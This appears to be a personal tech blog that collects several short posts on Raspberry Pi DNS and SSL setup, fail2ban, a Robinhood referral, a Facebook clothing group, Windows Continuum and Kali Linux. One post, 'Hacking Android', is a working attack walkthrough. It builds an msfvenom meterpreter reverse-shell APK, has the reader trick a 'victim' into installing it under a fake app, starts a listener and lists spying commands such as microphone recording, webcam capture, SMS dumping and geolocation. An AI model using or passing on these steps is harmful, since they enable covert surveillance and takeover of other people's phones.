Dynamic DNS updates for a RaspberryPi server

I posted about how I setup a RespberryPi for a work experiment. That server has a DNS name using the service https://dyn.com/ where they will keep my hostname pointed at the IP address my server is on. I need this because I have a residential cable modem connection to the Internet so my IP address can change at random. I wasn’t sure how easy or hard it would be to find a client to keep my record updated, but it turns out you only need 3 commands to configure this in the Terminal app or via SSH;

sudo apt-get update
sudo apt-get install libio-socket-ssl-perl
sudo apt-get install ddclient

When you type the third line above it will step through a simple wizard that asks what Dynamic DNS service you are using, and then asks for the username and password to use. Everything was up and running in about a minute. You can then tail /var/log/syslog to see status messages or look at /etc/init.d/ddclient or /etc/ddclient.conf if you want to adjust how it starts or is configured, but the defaults seem fine.

Easy SSL Cert for testing

Have you ever needed to test something with a web server that you stand up quickly, but don’t have an SSL cert for it, and don’t have access to a wildcard cert for the domain? Check out http://www.letsencrypt.org and be prepared to quickly and easily get an SSL cert. 

On a RaspberryPi system you start by installing certbot  via “sudo apt-get install python-certbot-apache” and then I ran in to some trouble trying to just use certbot’s automagic apache mechanism so I did this;

1. Enable SSL on Apache with “sudo a2enmod ssl”
2. Stop Apache with “sudo /etc/init.d/apache2 stop”
3. “sudo certbot certonly –standalone” to go through the process. It will launch a process that the certificate authority will connect to on TCP 80 to verify you control the DNS name you are trying to make a cert for so that name should resolve to this server.
4. Edit /etc/apache2/sites-enabled/default-ssl.conf to point to your SSL certs. These 3 settings must be changed and make sure the path matches where your files are stored;
   

SSLCertificateFile /etc/letsencrypt/live/example.com/cert.pem
SSLCertificateKeyFile /etc/letsencrypt/live/example.com/privkey.pem
SSLCertificateChainFile /etc/letsencrypt/live/example.com/fullchain.pem

Now you need to start Apache back up with “sudo /etc/init.d/apache2 start” and hopefully it should load. I don’t believe any steps are missing here, but please do let me know in the comments if you tried this and were totally stuck. Remember you’ll have to renew your certs each year, but certbot has a renew function as well. Super simple. 

Protecting a RespberryPi

So I had a need for work to setup an Apache server to test a feature of our product. It was easy enough to get it going;

1. Install Noobs to SD card
2. Boot up RaspberryPi 3B+ with Noobs
3. Install Raspian
4. Use apt-get to install apache2
5. Port Forward 80 and 443 to my RPi
6. Use DynDNS to direct a DNS name to my home IP

So all that was super easy. Next I started to worry about protecting my little pocket computer. I looked at DenyHosts, but it seems like the version in apt-get was super old and even the latest seems not maintained. So I did “apt-get install fail2ban” because that seems fairly current. So this is more of a question post than a helpful post for others. My question is if fail2ban via apt-get needs certain config changes or if it is good with default settings? If you read this and can comment with guidance it would help me, and hopefully others. If the steps above seem complicated and anyone wants a step by step posted then I’m happy to do so. If you’d like to try to beat up on my little computer that’s cool too. Nothing private is on it. http://absolute.jnux.net is the Apache2 instance.

Robinhood Investing

Robinhood is pretty cool. No fees to create an account and you get a free share of a stock when signing up which is neat. When creating an account you can put in even $5 to open.

https://share.robinhood.com/joshual1732

Lots of good reviews of Robinhood out there. Full disclosure: If you click my link you and I each get a share of a stock. With the market down it might be a good time to buy in to the dip and benefit when the correction passes.

Phoenix Boutique

My wife has had a little bit of an obsession with LuLaRoe and then Charlie’s Project. She finds all sorts of interesting leggings and clothing from them. Some she sells and some she keeps. It’s been a bit of a hobby for a little bit for her. The other day she created a Facebook group;

Phoenix Boutique

It’s where she will post the stuff she is selling. She only charges about $3 shipping if the person isn’t local. Usually she tries to just break even on the shipping, and she tries to sell things for a reasonable price. I hope she does well enough to be happy with it because it’s fun for her to get cool things and find people who want those things. Right now it’s Charlie’s Project clothes, candles, and soaps. If you have any interest then check out her FaceBook group. Trying to spread the word because it makes her happy.

Hacking Android

msfvenom is a kali linux hacking tool for android. It is a combination of Msfpayload and Msfencode, putting both of these tools into a single Framework instance known as msfvenom payload.

Steps:

1. Open a terminal window.

2. Set payload and create custom windows executable.

root@kali:-# msfvenom -p android/meterpreter/reverse_tcp  LHOST=192.168.0.7 LPORT=443 R > main.apk

• LHOST is your local IP which you can obtain via ifconfig
  LPORT is the local port that will listen for connections. 443 is appropriate.
• Your apk file will saved in whatever folder you are in when you run the above command.

Note: The above command is a single long line.

3. Transfer/mail this file (here main.apk) file to the victim’s Android device and have them install it. There is a social engineering aspect of deploying this. On Mr. Robot there was a good example of tricking someone in to thinking they are running a performance measuring app. That demo used a web page that has the APK to install, and then after installing it the website has fake performance results so the victim has no idea anything strange has happened.

4. Start the metasploit framework console as follows :

root@kali:-# msfconsole

5. Open and setup multi-handler :

msf  > use multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.5
msf exploit(handler) > set LPORT 443
msf exploit(handler) > exploit

        Payload Handler is being started……..

6. When the victim clicks on the app (installed as main activity in the menu) in his phone, meterpreter session will be established.

7. Try the following exploit commands :
– record_mic
– webcam_snap
– webcam_stream
– dump_contacts
– dump_sms
– geolocate

 

Microsoft Windows Continuum

Palm was at least 9 years ahead of their time. Such a shame they came out with the Foleo ( http://allthingsd.com/20070530/palm-foleo/ ) before the world was ready. Enter the HP Elite x3 ( http://www.windowscentral.com/hands-hp-elite-x3-lap-dock ) which is the Windows Phone equivalent. It makes sense because HP owns Palm’s IP since 2010. I think this is super cool, but it may yet still be ahead of time. Apple seems to have been working at slowing down their major innovations. This makes me sad because I have always loved Apple products, but I think the loss of Jobs has taken a lot of the energy away from Apple. Google seems to be always working at putting everything in their cloud so the devices all access their cloud storage+apps, but I don’t have 100% reliable always-on Internet everywhere I am yet. Microsoft seems to have continued building their phone platform despite having a phone platform that nobody has really cared about since it was released. I am hopeful that they will eventually see the fruits of their labor. This HP Elite unit is really amazing, and I do look forward to the day that my “phone” is my core device that uses other hardware as needed. 

If you are in to tech check out Microsoft Continuum ( https://www.microsoft.com/en-us/windows/Continuum ) to learn more about Windows Phone behaving like a desktop or laptop. In the video you’ll see the phone connected by cable to a dock when using it as a desktop. It’s USB-C and can charge the phone while using it, but you can also go wireless with the HP Lapdock as well as the TV adapter. Very cool stuff. Santa please bring me an HP Elite + Lapdock! Please? If not this year then hopefully next year’s version is ok too. 

LazyKali reboot

I am making available the beginning of a re-write of what I think is a helpful utility for Kali Linux systems. These systems are used for penetration testing, and are not typically day-to-day systems. I find myself doing the same installs and maintenance with every re-install of Kali so I wanted to create a tool to simplify this. It appears that until about 3 years ago someone else had a similar idea, but they seem to have abandoned it. If anyone knows if there is a current version of lazykali out there in the Interweb could you please point me to it so that I might contribute to that instead of maintaining this fork. If Reaperz73 sees this please contact me to let me know you are out there.

Kali Linux install on a Lenovo T430s

I have been working with Kali Linux lately for the pentest tools, and to keep my skills current. To that end I wanted to put the latest version of Kali on a Lenovo T430s laptop. I started with the kali-linux-2016.1-amd64.iso download. Then I wrote that to a USB key using Universal USB Installer ( http://www.pendrivelinux.com/universal-usb-installer-easy-as-1-2-3/ ) and tried to install Kali on my laptop.